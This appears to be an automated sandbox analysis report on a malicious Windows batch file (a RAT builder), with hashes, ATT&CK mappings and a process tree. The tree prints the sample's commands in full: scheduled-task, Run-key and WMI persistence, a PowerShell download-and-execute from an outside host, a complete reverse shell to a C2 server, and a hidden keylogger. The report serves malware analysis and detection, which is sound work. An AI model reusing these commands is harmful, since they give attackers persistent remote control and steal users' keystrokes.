0e256730aeee689641c7cd496b99b758b2f55d877d678328762c68577313c30e

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 22:23

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General

Target
rat_build_45855_014209.bat
Size 4KB
Sample260529-2baqzsaz21
SHA256 0e256730aeee689641c7cd496b99b758b2f55d877d678328762c68577313c30e
MD5 717ba4d61c310a5aff92ebb1d8fff980
SHA1 3885a05612c0a4264aeaf03977acdc2721b9964c
SHA512 80f23c21c7989af49663c9246366ed7c2919a6dced624d40249a71e9becdddc4ac6d404d4e5a86de436f8bc47e82fbc646a6c03f1bee394fcb22f2689fd2ab56
SSDEEP 96:PIdYMWP3seV9O///obbCG+DJxVTO/VGOPwiHq2uagzZvCCiFgZk8mvlo16y:PrXP3saODxV6RPwiNuai4CiFgkHljy
TLSH
T1A8A10A2753672650C5F05228DE3338540B2CD6FF1306D98DBB48CDD81A8C747E52A6E7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_45855.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
204	powershell.exe
936	powershell.exe
3464	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_45855 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_45855.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
216	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1056	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2668	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2500	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
204	powershell.exe
204	powershell.exe
936	powershell.exe
936	powershell.exe
3464	powershell.exe
3464	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	984	WMIC.exe
Token: SeSecurityPrivilege	984	WMIC.exe
Token: SeTakeOwnershipPrivilege	984	WMIC.exe
Token: SeLoadDriverPrivilege	984	WMIC.exe
Token: SeSystemProfilePrivilege	984	WMIC.exe
Token: SeSystemtimePrivilege	984	WMIC.exe
Token: SeProfSingleProcessPrivilege	984	WMIC.exe
Token: SeIncBasePriorityPrivilege	984	WMIC.exe
Token: SeCreatePagefilePrivilege	984	WMIC.exe
Token: SeBackupPrivilege	984	WMIC.exe
Token: SeRestorePrivilege	984	WMIC.exe
Token: SeShutdownPrivilege	984	WMIC.exe
Token: SeDebugPrivilege	984	WMIC.exe
Token: SeSystemEnvironmentPrivilege	984	WMIC.exe
Token: SeRemoteShutdownPrivilege	984	WMIC.exe
Token: SeUndockPrivilege	984	WMIC.exe
Token: SeManageVolumePrivilege	984	WMIC.exe
Token: 33	984	WMIC.exe
Token: 34	984	WMIC.exe
Token: 35	984	WMIC.exe
Token: 36	984	WMIC.exe
Token: SeIncreaseQuotaPrivilege	984	WMIC.exe
Token: SeSecurityPrivilege	984	WMIC.exe
Token: SeTakeOwnershipPrivilege	984	WMIC.exe
Token: SeLoadDriverPrivilege	984	WMIC.exe
Token: SeSystemProfilePrivilege	984	WMIC.exe
Token: SeSystemtimePrivilege	984	WMIC.exe
Token: SeProfSingleProcessPrivilege	984	WMIC.exe
Token: SeIncBasePriorityPrivilege	984	WMIC.exe
Token: SeCreatePagefilePrivilege	984	WMIC.exe
Token: SeBackupPrivilege	984	WMIC.exe
Token: SeRestorePrivilege	984	WMIC.exe
Token: SeShutdownPrivilege	984	WMIC.exe
Token: SeDebugPrivilege	984	WMIC.exe
Token: SeSystemEnvironmentPrivilege	984	WMIC.exe
Token: SeRemoteShutdownPrivilege	984	WMIC.exe
Token: SeUndockPrivilege	984	WMIC.exe
Token: SeManageVolumePrivilege	984	WMIC.exe
Token: 33	984	WMIC.exe
Token: 34	984	WMIC.exe
Token: 35	984	WMIC.exe
Token: 36	984	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3708	WMIC.exe
Token: SeSecurityPrivilege	3708	WMIC.exe
Token: SeTakeOwnershipPrivilege	3708	WMIC.exe
Token: SeLoadDriverPrivilege	3708	WMIC.exe
Token: SeSystemProfilePrivilege	3708	WMIC.exe
Token: SeSystemtimePrivilege	3708	WMIC.exe
Token: SeProfSingleProcessPrivilege	3708	WMIC.exe
Token: SeIncBasePriorityPrivilege	3708	WMIC.exe
Token: SeCreatePagefilePrivilege	3708	WMIC.exe
Token: SeBackupPrivilege	3708	WMIC.exe
Token: SeRestorePrivilege	3708	WMIC.exe
Token: SeShutdownPrivilege	3708	WMIC.exe
Token: SeDebugPrivilege	3708	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3708	WMIC.exe
Token: SeRemoteShutdownPrivilege	3708	WMIC.exe
Token: SeUndockPrivilege	3708	WMIC.exe
Token: SeManageVolumePrivilege	3708	WMIC.exe
Token: 33	3708	WMIC.exe
Token: 34	3708	WMIC.exe
Token: 35	3708	WMIC.exe
Token: 36	3708	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3708	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4860 wrote to memory of 2500	4860	cmd.exe	88
PID 4860 wrote to memory of 2668	4860	cmd.exe	89
PID 4860 wrote to memory of 984	4860	cmd.exe	90
PID 4860 wrote to memory of 3708	4860	cmd.exe	91
PID 4860 wrote to memory of 4976	4860	cmd.exe	93
PID 4860 wrote to memory of 1056	4860	cmd.exe	95
PID 4860 wrote to memory of 216	4860	cmd.exe	101
PID 4860 wrote to memory of 204	4860	cmd.exe	102
PID 4860 wrote to memory of 936	4860	cmd.exe	103
PID 4860 wrote to memory of 3464	4860	cmd.exe	106

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_45855_014209.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4860
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_45855" /tr "C:\Users\Admin\AppData\Local\Temp\_45855.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2500
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_45855" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_45855.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:2668
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_45855", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:984
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_45855", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_45855.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3708
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_45855.txt
  2⤵
  PID:4976
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:1056
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:216
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_45855.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3464

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 e51f23dc749bc10e04fffa46b13c76ed3441ae4d7fbef100ebfb637de0c6c8eb
MD5 735f5216a67e354fc716c020d29b0fe9
SHA1 3a5c0af2cf282ff9221a791cfd0bc1033f638b54
SHA512 c68f408e64042a1be0635b2164441694cefbc5f98a31edef53a84e2db52242d9666bebea18528ff10d0a517ae75797d808499d7b239cd282c47132bb8d5c9e36
TLSH
T1D5117627F39CC921CC96153A409DAC1172B683DB81AEDF9FAFC4D614A07F984CB712A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 779dea62665161af512d6d771487c37ac2112f4b6284d6bbf4c1c92fd3ea7a9b
MD5 ada0175ee05b522949d43898a586f0e4
SHA1 7d4b4bb2715dd2300bec347bb7848f210cd7f3d8
SHA512 f60e0971d540f2f7d9df3bee814321aee4f8ded2ff2bd32b9d6536845825ec509e44126e7864e9bb734a0b73facea6e429983ae4ce2d4757a0db92c39ad82c08
TLSH
T187115727B39C89A1CC96153A409D9C1172B687DB409EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_x1x3e433.cbq.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x1x3e433.cbq.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH